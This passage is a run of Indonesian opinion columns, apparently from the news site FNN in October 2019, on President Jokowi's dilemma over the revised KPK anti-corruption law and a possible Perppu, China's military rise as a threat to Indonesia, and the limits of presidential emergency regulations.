Undang-Undang Dasar Peru yang hendak diubah. Langkah ekstrim ini, jelas tidak perlu dilakukan Pak Jokowi. Toh pemilu sudah usai dengan segala duka dan pilu yang menyertainya. Ada politisi di legislative dan eksekutif yang telah berbagai level untuk tertangkap KPK, karena melakukan korupsi. Tidak usah jadi perangsang mengadopsi langkah dan tindakan tipikal Martin di Peru. Tidak usah Pak Jokowi. Tetapi bukan itu masalahnya. Pak Jokowi perlu maju selangkah lagi saja. Mengenali dan memetakan secara jelas dan terukur, penyebab dan cara berkelahi dengan korupsi sejauh ini. Itu saja dulu. Selalu saja ada pandangan yang berbeda. Persis seperti pandangan-pandangan undang-undang KPK Perubahan. Ditambah yang pro Perpu atau anti Perpu. Ada juga yang pro korupsi dan anti korupsi. Itu jelas pasti ada. Namun itu biasa saja. Tetapi mengidentiikasi kenyataan itu saja tidak cukup. Bukan itu cara berpikirnya. Yang wajar dilakukan Pak Jokowi adalah mengenal. Sekali lagi mengenal lebih dalam. Lebih jernih pada setiap sudut tersembunyi dan semua sayap diskursus penanganan korupsi. Pada titik itu, Pak Jokowi perlu membuka gudang politik “minyak untuk pangan” yang diterapkan PBB di Irak. Program ini bermotif mengurung mendiang Saddam Husen, yang Amerika identifikasi sebagai manusia paling berbahaya dan korup pada masanya itu. Tetapi apa hasilnya? Toh, rakyat tetap menderita, bahkan sesudah Sadam pergi untuk selamanya. Nyatanya program ini menyediakan begitu banyak lubang korup, yang dinikmati pialang-pialang kekuasan dalam dunia politik ekonomi, khususnya minyak Internasional. Hingga saat ini korupsi malah mengila d Irak. Rakyat terus terlilit penderitaan diberbagai sudut kehidupan. Korup tetapi berbaju antikorupsi. Begitulah yang dapat digambarkan dari program “minyak untuk pangan” di Irak pada masa Saddam Husen. Inilah yang terlihat tak sepenuhnya dikenali Martin di Peru. Salah satu kenyataan inilah yang mengakibatkan, , National Congres yang didominasi partai oposisi pimpinan Keiko Fujimori, menolak gagasannya. Martin memang tidak hilang akal. Dia membawa gagasannya itu ke referendum khas Chaves di Venezuela. Korupsi yang menurutnya menggurita di negerinya boleh saja disajikan sebagai penyebab paling utama anggota parlemen bersatu menolak gagasannya. Tetapi parlemen melihat sisi lain dari gagasannya itu. Apa? Mengapa harus gunakan referendum? Siapa yang menjamin referendum itu tidak sama tujuannya dengan yang digunakan Chaves, bahkan Alberto Fujimori? Bukankah Fujimori juga hendak mengubah konstitusi melalui referendum? Dan konstitusi yang direferendumkan itu memungkinkan dirinya menjadi presiden untuk ketiga kalinya Pak Jokowi karena itu, harus memiliki pengetahuan, gagasan dan langkah-langkah pemberantasan korupsi dirancang secara tepat. Ini akan ditentukan selamanya oleh kemauan berkelas Pak Jokowi memaknai penghargaan antikorupsi yang disandangnya. Pak Jokowi tidak perlu memberangus politisi, seperti yang dilakukan Martin di Peru. Juga tidak perlu mengubah Undang-Undang Dasar untuk memungkinkan dirinya maju lagi pada pemilu presiden berikutnya. Itu juga tidak perlu Pak Jokowi. Toh masa jabatan keduanya saja belum dimulai. Sistem pemilu, yang sejauh ini muncul sebagai mesin produksi korupsi harus dibenahi. Puluhan, bahkan ratusan miliyar rupiah yang dikeluarkan setiap kali pemilu digelar. Tentu saja untuk meraih jabatan politis ini, sangat disukai oleh pialang-pialang kekuasaan. Sungguh ini tidak bisa diterima akal sehat. Memang pialang menyukainya, karena itulah cara mereka mengendalikan pejabat, dan kekuasaan. Bila Pak Jokowi dapat, tentu berdasarkan data ternalar. Memetakan fenomena korupsi dalam politik pintu berputar, itu akan jadi point paling hebat. Politik pintu berputar, tidak lain selain sebagai cara menciptakan dan melanggengkan klik-klik intitusi. Wujud politik pintu berputas ini adalah pejabat yang telah pergi dari satu institusi, tetapi atas nama menjaga relasi, semangat institusi, mereka bisa masuk dan keluar institusi itu sesuka hati. Mereka juga mendapat akses, mendapat informasi, bahkan kekebalan. Apa sesudah itu? Korupsi tidak surut. Mungkinkah semua itu dilakukan Pak Jokowi? Itu soalnya. Respon merangkak terhadap berbagai peristiwa mematikan, mulai dari bencana Lombok, Sulteng, kematian aneh sekitar 700 petugas PPS pemilu. Belakangan bencana Ambon dan kerusuhan mematikan di Wamena Papua, memungkinkan setiap orang memilih untuk tidak berharap. Tetapi siapa tahu. Mungkin ya, mungkin tidak. Sejarah akan bicara pada wakutunya kelek. Penulias adalah Pengajar Hukum Tata Negara Universitas Sultan Khairun Ternate

Polemik Menuju Periode Kedua, Aman atau Lengser?

Salah ѕаtu jаnjіnya ketika bеrdеbаt dengan Prаbоwо dі Pіlрrеѕ kemarin аdаlаh menguatkan KPK. Jіkа Pеrррu tіdаk kunjung dіtеrbіtkаn, mаkа Jоkоwі mеngkhіаnаtі аmаnаt rаkуаt yang mеmіlіhnуа. Oleh Mochamad Toha Jakarta, FNN - Terkait Revisi UU KPK, Presiden Joko Widodo hari-hari ini dalam posisi terjepit. Kabarnya, versi Ketum Partai NasDem Surya Paloh, sebenarnya Presiden Jokowi sepakat dengan Parpol Koalisi Jokowi, yakni menolak penerbitan Perppu KPK. Makanya, hingga hari ini, Presiden Jokowi belum juga menyatakan sikapnya, membatalkan rencana menerbitkan Perppu KPK atau melanjutkan UU KPK yang sudah ditetapkan DPR RI dengan berbagai resiko diantara keduanya bila bersikap. Sejumlah tokoh yang berjumpa Presiden Jokowi pada Kamis, 26 September 2019, lalu yang menggelar konferensi pers di Galeri Cemara, Jl. HOS Cokroaminoto No. 9-11, Gondangdia, Menteng, Jakarta Pusat, Jum’at (4/10/2019), misalnya. Melansir Tribunnews.com, Jum’at (4/10/2019), konferensi pers ini digelar untuk menyikapi kabar batal dikeluarkannya Peraturan Pemerintah Pengganti Undang-undang (Perppu) KPK oleh Presiden Jokowi. Sejumlah tokoh yang hadir dalam acara diskusi ini antara lain pakar hukum Bivitri Susanti, Prof DR Emil Salim, mantan Ketua KPK Taufiqurrahman Ruki, mantan Ketua KPK Erry Riyana Hardjapamekas dan Slamet Rahardjo. Di sini, Prof Emil memberikan pemaparan terkait tujuan kegiatan acara. “Menyadari sejarah yang lampau, prestasi KPK yang gigih berjuang, kami merasa perjuangan ini harus diteruskan demi kebersihan aparat pemerintah dari korupsi,” katanya. Prof Emil menjelaskan bahwa undang-undang KPK yang telah diresmikan sifatnya memperlemah. Dan langkah itu terkait upaya pembatasan proses penyidikan dan penyadapan yang memang dimiliki oleh lembaga anti rasuah tersebut. Pelemahan tersebut dinilai berdampak signifikan bagi pekerjaan KPK. Karena itu, Prof Emil bersama tokoh yang hadir ini mendukung Presiden Jokowi untuk menerbitkan Perppu KPK. “Kalau ini semua dibatasi, itu namanya KPK dikebiri. Karena itu, kami minta Presiden untuk terbitkan Perppu dan kami mendukung Presiden menolak UU KPK itu,” ujar Prof Emil. Indonesia Cоruрtіоn Watch (ICW) mengakui, angin ѕеgаr sempat dihembuskan Istana soal kabar Prеѕіdеn Jоkоwi akan ѕеgеrа mеnеrbіtkаn Pеrаturаn Pеmеrіntаh Pengganti Undаng-Undаng (Perppu) Revisi UU 30/2002 tentang KPK. Hingga detik іnі Pеrррu KPK belum dikeluarkan, Presiden ѕереrtіnуа masih mеnghіtung untung rugi dаn dіhаdарkаn раdа ѕіtuаѕі dіlеmаtіѕ seperti mаkаn buah ѕіmаlаkаmа bila betul-betul mеnеrbіtkаn Perppu. Pеnеlіtі ICW Kurnіа Rаmаdhаnа mеngіngаtkаn Jokowi, akan аdа еfеk уаng jauh lеbіh besar jіkа Perppu KPK іtu tidak segera dіtеrbіtkаn. Kurnіа mеnуеbut аdа delapan еfеk jika Jоkоwі tіdаk menerbitkan Pеrррu. Pеrtаmа, реnіndаkаn korupsi аkаn mеlаmbаt, kаrеnа рrоѕеѕnуа sekarang hаruѕ mеlаluі izin dаrі Dеwаn Pengawas,” ujаrnуа ѕааt kоnfеrеnѕі реrѕ di Kаntоr YLBHI, Jаkаrtа, seperti dilansir Uzonews.com, Minggu (6/10/2019). Kedua, KPK tak lаgі menjadi іnѕtіtuѕі utаmа penindakan kоruрѕі. Karena, KPK аkаn menjadi bagian dаrі pemerintah. Kеtіgа, jіkа Jokowi tidаk terbitkan Pеrррu mаkа аkаn mеmреrburuk сіtrа реmеrіntаhаn. “Mаѕа jabatan Jokowi-JK аkаn bеrаkhіr 14 hаrі lаgі. Seharusnya іtu memberikan lеgасу уаng baik dеngаn саrа tеrbіtkаn Perppu,” jelas Kurnіа. Keempat, adalah Jоkоwі ingkar jаnjі terhadap Nawacita yang ѕеlаmа ini dia gadang-gadang. Lаlu, Indеkѕ Prestasi Korupsi Indоnеѕіа аkаn stagnan аtаu turun ѕеhіnggа berakibat kераdа сіtrа реmеrіntаh di mаtа іntеrnаѕіоnаl jatuh. Kurnіа juga mеnjеlаѕkаn efek yang аkаn terjadi jika Jokowi rаgu mеngеluаrkаn Pеrррu mаkа Jokowi tеlаh mеnсіdеrаі реnghаrgааn Bung Hatta Anti-Corruption Awаrd (BHACA) уаng dіѕеmаtkаn kераdаnуа ѕааt mеnjаbаt ѕеbаgаі Walikоtа Surakarta раdа 2010. “Yаng paling utаmа jіkа ѕаmраі реlаntіkаn pada 20 Oktober mendatang, Pеrррu tidаk kunjung diterbitkan maka Jоkоwі tеlаh mеngkhіаnаtі аmаnаt reformasi, уаіtu memberantas KKN,” tеgаѕ Kurnіа. Salah ѕаtu jаnjіnya ketika bеrdеbаt dengan Prаbоwо dі Pіlрrеѕ kemarin аdаlаh menguatkan KPK. Jіkа Pеrррu tіdаk kunjung dіtеrbіtkаn, mаkа Jоkоwі mеngkhіаnаtі аmаnаt rаkуаt yang mеmіlіhnуа. Menurut Direktur Eksekutif The Global Future Institute Prof. Hendrajit, yang bikin Jokowi Andi Lao, antara dilema dan galau, soal Perppu batalin Revisi KPK, karena ada hal yang krusial secara politis. Bukan sekadar pro koruptor atau anti koruptor. Apapun motif di balik ide revisi KPK maupun terpilihnya Irjen Polisi Firli Bahuri sebagai Ketua KPK yang baru itu, implikasinya bukan soal berkomitmen dengan pemberantasan korupsi atau tidak. Tapi lebih politis lagi. Akibat revisi KPK dan terpilihnya Firli Bahuri, KPK selain ganti sistem, juga ganti formasi dan tentunya aktor kunci. Kalau sudah sampai sini, kesalahan ada pada kedua belah pihak. Bahwa KPK selama ini tidak pernah murni jadi alat pemberantasan korupsi. Kedua, KPK dibentuk lebih untuk penanganan OTT gratifikasi dan suap, ketimbang membangun strategi pencegahan korupsi yang didasarkan pada sistem politik yang koruptif di semua bidang. Akibat fokus pada gratifikasi dan bukannya memadamkan bara apinya, yaitu sistem politik yang koruptif dan melemahkan sistem kenegaraan, maka KPK kemudian jadi sistem berkumpulnya sebuah klik politik buat mengimbangi aktor-aktor politik di DPR dan Eksekutif. Sehingga dengan kerangka pemberantasan korupsi yang menyempit pada OTT gratifikasi dan suap, KPK jadi alat pukul buat melumpuhkan lawan politik yang bertabrakan agendanya dengan klik politik yang menguasai sistem dan password KPK selama ini. “Dan, korban utamanya adalah politisi DPR, DPD dan para menteri di pemerintahan Presiden Jokowi – Wapres Jusuf Kalla,” ungkap Hendrajit. Berkumpulnya para tokoh yang dimotori Gunawan Mohammad, Kuntoro Mangkusubroto, Arifin Panigoro, Eri Riana, merupakan cermin kegelisahan klan politik yang tergusur seturut munculnya revisi uu KPK dan naiknya Firli Cs. Pada tataran inilah, Jokowi jadi Andi Lao. Bukan soal ngeluarin Perppu. Di balik sistem KPK selama ini, ada kartel politik di luar lingkup DPR-MPR yang memegang grip Jokowi di balik layar. “Selain kubu para jenderal seperti Wiranto, SBY, Hendro, dan Luhut,” lanjutnya. Jika Jokowi terbitin Perppu, berarti Presiden bukan sekadar menghadapi DPR. Melainkan bakal menghadapi para skemator yang ingin mengubah sistem dan formasi KPK yang selama ini dikuasai klik yang para tokohnya bertemu Jokowi di Istana tempo hari. “Jalan keluarnya menurut saya, masyarakat harus ajukan skema baru di luar versi revisi atau versi klik KPK lama yang sebenarnya juga sarat kepentingan dan sudah bersenyawa dengan Istana sejak Luhut dan Teten Masduki di ring satu Jokowi,” ujar Hendrajit. Alternatifnya, menurut Hendrajit, pemberantasan korupsi harus terintegrasi ke dalam strategi untuk melumpuhkan musuh yang telah dan akan melemahkan sistem kenegaraan kita. Dan, “Strateginya bukan lagi menekankan pemberantasan, tapi pencegahan.” Bukan eradication, tapi prevention. Ketika musabab korupsi karena sistem politiknya yang memang koruptif, maka masalah pokok dari kejahatan korupsi bukan gratifikasi dan suap saja. Melainkan penyalahgunaan kekuasaan melalui mekanisme negara di dalam negara. Juga, merajalelanya tim siluman. Dan klan politik di balik KPK yang sekarang ini lagi gerah dan kejang kejang, selama ini juga tak membantu banyak. Sekaranglah momentum berbagai elemen masyarakat mengajukan skema dan skenario alternatif. Jokowi Lengser? Dalam rilis survei Lembaga Survei Indonesia (LSI) yang berjudul “Perppu KPK dan Gerakan Mahasiswa di Mata Publik”, LSI melaporkan temuannya perihal penurunan kepuasan publik terhadap kinerja Jokowi selama 5 tahun menjabat Presiden. LSI mencatat, tada 12 persen menyatakan sangat puas; 54,3 persen publik mengaku cukup puas dengan kinerja presiden, sisanya kurang puas dan tidak puas pada kinerja presiden. Selain itu LSI juga memaparkan tren kepuasan publik terhadap kinerja presiden. “Jokowi sudah 5 tahun menjadi presiden. Secara umum apakah sejauh ini Ibu/bapak sangat puas dengan kerja Presiden Jokowi?” demikian pertanyaan survei wawancara yang diajukan sebagaimana terlampir dalam keterangan tertulis rilis LSI, Minggu (6/10/2019). Dalam grafik disajikan, ada penurunan tren kepuasan publik dalam rentang waktu 8 bulan. Pada Maret 2019, ada 71 persen publik puas atas kinerja Jokowi. Tapi, pasca pilpres sampai Oktober ini tren kepuasan publik atas kinerja Jokowi justru turun menjadi 67 persen. Melihat kenyataan politik seperti itu, Jokowi harus segera mengambil pilihan dilematis. Jika Jokowi tak mau menerbitkan Perppu KPK, dia akan berhadapan dengan mahasiswa penolak UU KPK. Kalau terbitkan Perppu KPK, dia berhadapan dengan DPR. Kalau mau “aman”, tentunya Jokowi bisa memilih mengundurkan diri dari jabatan Presiden. Tanda-tanda ini bisa dicermati dari pidato Presiden Jokowi saat HUT TNI ke-74 di Halim Perdana Kusuma, Sabtu (5/10/2019), lalu. “Pada kesempatan yang baik ini saya ingin menyampaikan rasa terima kasih kepada pejabat-pejabat dan perwira tinggi utama yang telah membantu periode kepemimpinan Presiden tahun 2014-2019. Terima kasih kepada Wakil Presiden Bapak Jusuf Kalla; kepada Menkopolhukam Bapak Tedjo Edhy Purdijatno, Bapak Luhut Binsar Pandjaitan, dan Bapak Wiranto; kepada Menteri Pertahanan Bapak Ryamizard Ryacudu; Kepada Panglima TNI Bapak Moeldoko, Bapak Gatot Nurmantyo, dan Bapak Hadi Tjahjanto; kepada KASAD Bapak Mulyono dan Bapak Andika Perkasa; kepada KASAL Bapak Ade Supandi dan Bapak Siwi Sukma Aji; serta kepada KASAU Bapak Ida Bagus Putu Dunia, Bapak Agus Supriatna, dan Bapak Yuyu Sutisna.” Apakah pidato Jokowi itu isyarat pamitan bahwa dia akan memilih undur diri karena merasa sudah tidak mampu sebagai Presiden? Penulis adalah Wartawan Senior

Bagi RRC, Indonesia Ini Seperti Kelinci Gemuk dan Gurih

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Tidak ada maksud untuk menakut-nakuti Anda. Ini semata-mata karena fakta bahwa RRC sekarang ini menjadi kekuatan militer kedua setelah Amerika Serikat (AS). Dan kekuatan hebat itu tidak disembunyikan oleh Presiden Xi Jinping. Dia malah sesumbar. Dalam pidato pada Hari Nasional China, 1 Oktober 2019, Presiden Xi mengatakan, "no force can stop the Chinese people and the Chinese nation forging ahead." (Tidak ada kekuatan mana pun yang bisa mencegah rakyat China dan negara China bergerak maju). Ucapan ini jelas ditujukan kepada AS. Presiden Donald Trump sejak dua tahun ini bersikap keras terhadap Beijing. Tapi, negara-negara lain pun, termasuk Indonesia, adalah sasaran peringatan Presiden Xi itu. Kepada AS, RRC ingin menunjukkan bahwa mereka bukan lagi China seperti 30 tahun lalu. Bukan lagi China yang bisa digertak-gertak. Mereka sekarang siap menghadapi “high tech war” (perang teknologi tinggi) dengan AS. Atau negara mana pun. Kemudian, kepada negara-negara lain di Asia-Pasifik, China sekaligus ingin mengatakan bahwa, “Kalian semua adalah kelinci gemuk. Yang enak dibuat satai (sate).” Artinya, kalau AS dengan kekuatan militer yang begitu dahsyat saja dilawan oleh China, apatah lagi negara-negara ‘kacangan’ seperti Indonesia ini. Presiden Xi tidak “asbun” (asal bunyi), alias omong kosong. Kekuatan militer China sekarang ini memang luar biasa. Industri pertahanan mereka berkembang sangat pesat sejalan dengan pertumbuhan ekonomi negara itu. Mereka adalah negara manufaktur terbesar di dunia. Menghasilkan banyak duit. RRC memiliki cadangan devisa asing (CAD) sebesar USD4 triliun (empat triliun dollar) pada 2013. Kemampuan finansial itu membuat mereka leluasa melakukan riset dan inovasi persenjataan high-tech dalam skala besar dengan biaya besar pula. Di tahun 2018, belanja pertahanan China mencapai USD250 miliar atau setara Rp3,500 triliun. Ini untuk pertahanan saja. Bandingkan dengan total belanja negara di APBN Indonesia 2018 yang jumlahnya hanya Rp2,220 triliun. Untuk semua kementerian dan lembaga negara. Memang belanja pertahanan China itu masih jauh di bawah AS yang menghabiskan USD650 miliar atau setara dengan Rp9,100 triliun. Tetapi, dana pertahanan China itu kedua terbesar setelah AS. Apa yang terjadi? China hari ini memiliki sistem persenjataan yang mampu mengimbangi AS. Rudal-rudal balistik mereka dari segala jenis dan jarak tempuh sudah di-upgrade semua. Bahkan, ada satu jenis pesawat yang melebihi kemampuan model drone AS. Di parade militer 1 Oktober itu, China sengaja memamerkan drone nir-pilot yang diberi nama Sharp Sword (Pedang Tajam). Drone ini tidak bisa dideteksi oleh radar. Inilah drone gaib (stealth, siluman) pertama di dunia tanpa pilot yang mampu berada di udara dalam waktu lebih lama. Bisa terbang non-stop puluhan jam atau beberapa hari. Sehingga tak ada lagi istilah pilot kelelahan di udara. Kelebihan Sharp Sword tidak hanya itu. Drone ini memiliki presisi tembak yang luar biasa. Dengan spec-nya sebagai pesawat “stealth” (tak terlihat alias gaib), drone berteknologi tinggi ini tidak bisa ditangkis oleh sistem pertahanan AS yang ada saat ini. Ini salah satu inovasi industri pertahanan RRC. Banyak yang lainnya lagi. China telah memodernkan semua ‘delivery system’ (sistem peluncuran) rudal-rudal nuklir mereka. Rudal-rudal jarak jauh (long range) China canggih untuk mencapai kota-kota besar Amerika. Bagaimana dengan Indonesia? Dari waktu ke waktu, industri pertahanan kita tidak banyak bergerak. Tidak mengherankan. Karena kita tak mampu menyediakan anggaran belanja besar. Kita sibuk mencuri duit negara. Sibuk menggelapkan pajak perusahaan. Sibuk mencari komisi impor daging dan impor-impor lainnya. Hari-hari memikirkan komisi proyek-proyek besar. Segelintir orang asyik menjadi calo investasi asing, termasuk dan terutama investasi RRC. Semua orang di sini hanya memikirkan keuntungan pribadi. Visi kita tentang pertahanan memang “santai”. Kita lebih suka memikirkan formasi politik di DPR dan di kabinet. Lebih senang memikirkan bagaimana cara supaya parpol Anda bisa masuk ke pemerintahan. Kita sibuk bagi-bagi kursi kekuasaan. Itulah yang ada di benak para politisi. Dari pemilu ke pemilu. Sedangkan musuh-musuh di luar sana siap menyerbu negara ini. Mereka tahu sekuat apa militer Indonesia. Mereka tahu juga bahwa kita di sini lebih fokus memikirkan dinasti kekuasaan ketimbang memikirkan masalah pertahanan negara. Megawati, SBY, Surya Paloh, dll, berusaha agar anak-keturunan mereka memegang kekuasaan. Anak-anak Jokowi pun mulai menampakkan ambisi untuk menjadi penguasa. Inilah yang disibukkan orang Indonesia. Karena itu, pastilah RRC melihat kita ini seperti kelinci yang gemuk dan gurih. Kapan-kapan bisa dikunyah tanpa perlawanan. Mudah dicaplok. Dalam 70 tahun ini, RRC entah sudah sampai ke level berapa dalam soal pertahanan. Juga yang lain. Korea Selatan, India, Jepang, Australia, bahkan Pakistan yang lebih miskin sumber daya alam. Kita? Dalam 74 tahun ini masih berputar-putar soal kueh kekuasaan. Kita merasa canggih bisa menipu suara rakyat. Menipu pilpres. Kalau ada yang protes, solusinya tindas habis. Pakai gas airmata atau bahkan peluru tajam. Pakai metode siksa supaya orang takut. Di mana-mana orang memperkuat pertahanan untuk menghadapi serangan dari luar. Di sini, kita memperkuat pertahanan untuk menghadapi rakyat sendiri. Aparat keamanan tampil sadis, brutal, beringas. Para penguasa merasa puas. Para penguasa menyangka pertahanan negara sudah kuat karena rakyat tak berkutik. Padahal, sekali lagi, RRC melihat Indonesia ini seperti kelinci. Tak akan bisa lari ke mana-mana. Sekali terkam, langsung senyap.[] 8 Oktober 2019

Bernegara dengan Perpu

Undang-undang KPK perubahan, sejauh ini, sama-sekali tidak menghapuskan wewenang penyidikan oleh KPK. Izin penyadapan juga sama sekali tidak dapat dianalogkan sebagai telah penghapusan wewenang KPK untuk melakukan penyadapan. Tidak seperti itu. Dengan demikian, tidak tersedia alasan secara materil untuk Presiden penerbitan Perpu. Oleh Dr. Margarito Kamis Jakarta, FNN - Konstitusi membekali Presiden dengan kewenangan menerbitkan Peraturan Pemerintah Pengganti Undang-Undang (Perpu). Sifat kewenangan ini khas. Presiden dapat, dengan atau tanpa alasan yang ternalar menerbitkan Perpu. Betu-betul khas, karena rumus hukum tentang syarat sahnya penggunaan kewenangan ini sangat elastis. Dimensinya sangat jamak. Konstitusi memang menyodorkan syarat bagi diterbitkannya Perpu. Syaratnya adalah harus ada hal-ihwal kegentingan yang memaksa. Tetapi keadaan hukum macam apa yang dapat dikategori hal-ihwal kegentingan yang memaksa? Sampai disini serba tidak jelas. Tidak juga spesifik. Praktis syarat “hal-ihwal kegentingan yang memaksa itu” sebagaimana dalam pasal 22 UUD 1945 tidak menunjuk satu atau serangkaian keadaan yang spesifik, faktual dan nyata. Keadaan atau hal-ihwal kegentingan yang memaksa itu bisa bersifat imajiner, setidaknya potensial. Tidak mesti ada secara nyata. Yang penting presiden secara subyektif menganggap – bersifat hipotesis – hal-ihwal kegentingan yang memaksa itu ada. Nyata-nyata ada atau tidak, itu tidak penting. Tetapi apapun itu, konstitusi mewajibkan Presiden harus menjelaskan level validitas “hal ihwal kegentingan yang memaksa” itu kepada DPR untuk mendapat cap persetujuan. Ini imperative sifatnya. Wajib dan mutlak adanya. Dititik ini manuver politik kedua belah pihak, Presiden dan DPR menemukan relefansinya. Ini bukan soal benar dan salah. Sama sekali bukan. Ini soal keterampilan menundukan, menggoda, membawa lawan ke sudut yang diinginkan. Cermat dan Jernih Penerbitan Perpu itu wewnang Presiden. Wewenang ini jelas diperlukan. Tetapi karena syarat materilnya tidak jelas, maka pada kesempatan lain wewenang ini, kalau tidak arif, tidak bijak, dapat digunakan untuk memperbesar wewenang. Bahkan bisa saja untuk meruntuhkan demokrasi. Itu sebabnya wewenang ini harus dikerangkakan. Setidaknya dipertalikan pada norma non hukum. Norma non hukum itu misalnya kearifan lebih dari sekadarnya. Norma non hukum itu diperlukan karena Presiden, terlepas dari siapapun orangnya. Menyandang nama presiden itu bukan semata-mata hanya karena dipilih. Entah siapa yang mendorongnya, dia dipilih karena dinilai memiliki kemampuan di atas rata-rata calon presiden yang tersedia. Itu sebabnya harus bisa memandu, mengarahkan, mengadaptasikan gagasan yang bekembang ditengah masyarakat dengan nilai-nilai hebat dalam bangsanya. Dalam kasus Perpu KPK. Kian hari kian digemakan oleh beberapa kelompok untuk segera diterbitkan oleh Presiden misalnya. Tidak bisa ditimbang dengan timbangan ya atau tidak. Dapat dimakzulkan atau tidak. Tidak bisa ditimbang dengan jalan fikiran menerbitkan Perpu pembatalan undang-undang KPK sama dengan pro rakyat, dan anti korupsi. Sebaliknya, Presiden tidak menerbitkan Perpu sama dengan pro kepada korupsi. Juga tidak. Pastinya tidak sesederhana itu. Presiden dalam konteks itu perlu memasuki soal-soal berikut. Pertama, yang harus ditimbang oleh Presiden adalah level rasionalitas dibalik suara-suara yang saling menyangkal itu. Level rasionalitas harus dikerangkakan ke dalam kepentingan bernegara secara sehat. Pada level ini Presiden harus tahu bahwa korupsi sedang menggurita di tubuh politik bangsa besar ini. Kemarin KPK menangkap Bupati Lampung Utara, dan beberapa orang dalam urusan suap menyuap. Keberhasilan penangkapan ini berkat penyadapan. Penyadapan kini menjadi salah satu instrumen paling ampuh dalam pertempuran melawan korupsi. Kedua, dalam konteks itu, Presiden perlu menentukan dengan jernih ujung hukum penyadapan. Misalnya, apakah pejabat yang tertangkap tangan menerima suap harus dipidana atau pada kesempatan pertama mengembalikan seluruh uang suap. Tidak sampai disitu saja. Pejabat tersebut serta-merta diberhentikan dari jabatan, dan wajib melakukan kerja sosial, tanpa harus dipidana. Ketiga, apa argumentasi demokrasi dibalik status KPK sebagai organ non pemerintah? Dan KPK berada diluar wewenang Presiden untuk mengaturnya? Presiden juga perlu tahu bahwa demokrasi tidak memungkinkannya. Mengurangi demokrasi demi pemberantasan korupsi, bukan tak bisa. Tetapi Presiden perlu memasuki sejarah pemberantasan korupsi lebih dalam. Sejarah menunjukan dengan ketepatan tak diragukan bahwa korupsi juga dipakai sebagai senjata untuk mematikan lawan politik. Tidak mungkin cara seperti ini dinilai sebagai cara yang masuk akal. Sebab ini sama dengan memperbesar skala korupsi. Dalam kenyataannya, tidak ada keadaan yang menunjukan telah terjadi kekosongan hukum dalam menyelenggarakan urusan pemerintahan. Semua hukum pemberantasan korupsi positi berlaku. Organ pemberantasan korupsi seperti KPK, Polisi dan Jaksa tetap saja eksis. Undang-undang KPK perubahan, sejauh ini, sama-sekali tidak menghapuskan wewenang penyidikan oleh KPK. Izin penyadapan juga sama sekali tidak dapat dianalogkan sebagai telah penghapusan wewenang KPK untuk melakukan penyadapan. Tidak seperti itu. Dengan demikian, tidak tersedia alasan secara materil untuk Presiden penerbitan Perpu. Lebih dari semua itu, Presiden harus lebih jernih mengenal fenomena demontrasi. Demo kini terlihat mulai diandalkan sebagai sarana untuk menciptakan kondisi hal-ihwal kegentingan yang memaksa. Sebagai jalan yang sah menggerakan wewenang Presiden untuk penerbitan Perpu. Perpu Nomor 1 Tahun 2014 tentang Pencabutan Undang-Undang Nomor 22 Tahun 2014 tentang Pemilihan Gubernur, Bupati dan Walikota oleh DPRD, diterbitkan setelah Presiden didemo. Cukup ramai demonstrasi diberbagai daerah agar Gubernur, Bupati dan Walikota tetap dipilih secara lansung. Macam-macam argumennya ketika itu. Harus Peka Begitukah pemerintahan yang demokratis dan berdasar hukum dikelola Pak Presiden? Pasti bukan begitu. Malah tidak juga seperti itu. Fenomena demo sebagai mesin penyedia hal-ihwal kegentingan yang memaksa, justru bisa memukul mundur, bahkan menenggelamkan demokrasi. Memang suara Perpu KPK kali ini datang dari mahasiswa, dan beberapa kelompok di luar kekuasaan. Tetapi bagaimana bila, misalnya suatu saat Presiden memiliki gagasan tertentu. Tetapi pengoperasianya memerlukan legalisasi hokum. Sementara hukum yang diperlukan itu belum tersedia? Bagaimana pula bila, dengan cara yang rumit, seperti demo dipakai untuk menyediakan hal ihwal kegentingan yang memaksa? Padahal terdapat target tersembunyi dibalik gagasan itu. Misalnya memperbesar, dalam arti menambah wewenang Presiden? Bahaya, tentu saja. Pendukung demokrasi, bila mungkin, dapat menyusuri lorong-lorong sejarah politik yang menyediakan begitu banyak fakta perubahan pemerintahan demokratis ke fasis. Adolf Hitler memasuki kekuasaan, yang kelak menghebohkan dunia. Tidak melalui kudeta. Hitler memasuki kekuasaan melalui pemilu. Kepopulerannya membawa dirinya memasuki kekuasaan. Tokoh-tokoh politik melihat dirinya sebagai alternatif pemecahan situasi pelik. Diam-diam tokoh-tokoh yang telah frustrasi terhadap keadaan faktual, membangun keyakinan bahwa situasi rumit seperti ini hanya dapat dipecahkan, dengan cara memunculkan seseorang yang memiliki popularitas sanagat tinggi. Hitler masuk kategori itu. Diam-diam mereka, para tokoh ini berharap jangka waktu dalam dua tiga bulan Hitler bisa dikendalikan. Hitler dapat dibawa ke sudut yang mereka rancang. Nyatanya tidak bisa. Hitler tidak bisa dikendalikan, dan dituntun ke rencana mereka. Apa yang terjadi sesudahnya? Jerman terjerembab ke dalam fasisme. Demokrasi jadi hancur berantakan. Demokrasi sama sekali bukan soal mayoritas. Demokrasi itu soal keadilan, soal membangun tatanan sosial, politik, ekonomi dan hukum yang beradab. Yang memiliki daya dorong membuat kekuasaan mengerti harkat dan martabat manusia. Tidak lebih dari itu. Demokrasi bukan soal suara nyaring, yang memekik telinga. Bukan. Bahaya betul bila demokrasi dipertalikan hanya pada suara nyaring. Venezuela jatuh ke krisis berkepanjangan yang semakin sulit menemukan jalan keluarnya hingga saat ini. Karena mempertalikan demokrasi hanya pada suara nyaring. Chaves dengan Chavistanya menelurkan referendum mengubah konstitusi. Berhasil. Konstitusi diubah. Chaves dengan konstitusi barunya itu memiliki kesempatan maju lagi sebagai calon presiden. Tetapi referendum itu teridentifikasi berjarak sangat jauh dari jujur. Seperti biasa hasilnya tetap diterima. Demokrasi mengharuskannya. Dan konstitusipun diubah. Chaves dapat mencalonkan diri lagi. Apa yang terjadi sesudahnya? Venezuela jatuh semakin dalam ke berbagai krisis hingga saat ini. Nicolas Maduro, penerus Chaves pun, masih terlilit dengan masalah, terutama ekonomi yang diwariskan Chaves. Apa point pentingnya? Sarana konstitusi dan demokrasi, selalu mungkin bisa dimanipulasi. Apalagi “hal ihwal kegentingan yang memaksa” sebagai dasar legal penerbitan Perpu sangat elastis. Demokrasi dan hukum bukan tanpa cacat, walau cacatnya tidak mudah untuk dikenali. Tetapi bukan tak bisa dikenali. Membangun negara berdasarkan suara nyaring ditengah masyarakat, dalam kasus-kasus di atas, jelas mengandung bahaya. Mayoritas berdasarkan suara-suara yangterekspos, tidak selamanya berbuah kebaikan. Venezuela tak 